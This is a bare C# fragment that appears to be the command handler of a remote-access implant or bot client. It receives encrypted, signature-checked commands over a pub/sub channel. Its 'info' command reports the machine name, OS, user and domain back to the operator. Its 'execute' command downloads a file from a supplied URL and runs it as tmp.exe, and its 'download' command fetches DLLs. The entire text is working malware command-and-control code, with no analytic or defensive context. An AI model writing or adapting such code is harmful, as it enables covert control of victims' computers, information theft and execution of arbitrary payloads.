public void OnMessage(byte[] obj)
{
string[] protocolArgs = AESEncryption.Decrypt(Encoding.UTF8.GetString(obj, 0, obj.Length), config.CommunicationPassPhrase).Split('|');
if (!Verify.VerifyData(protocolArgs[0], protocolArgs[1], rsa.ExportParameters(false)))
{
return;
}
string[] arguments = protocolArgs[0].Split(',');
if (arguments[0].Equals("info"))
{
send($"{System.Environment.MachineName} {System.Environment.OSVersion} {System.Environment.UserName} {System.Environment.UserDomainName}");
}
else if (arguments.Length > 1 && arguments[0].Equals("execute"))
{
Download.URLDownloadToFile(0, arguments[1], "tmp.exe", 0, 0);
Process.Start("tmp.exe");
}
else if (arguments.Length > 1 && arguments[0].Equals("download"))
{
Random random = new Random();
Download.URLDownloadToFile(0, arguments[1], $"{random.Next(1000)}.dll", 0, 0);
}
}
public async void send(string message)
{
await pubSub.Publish(config.Channel, AESEncryption.Encrypt(message, config.CommunicationPassPhrase));
}
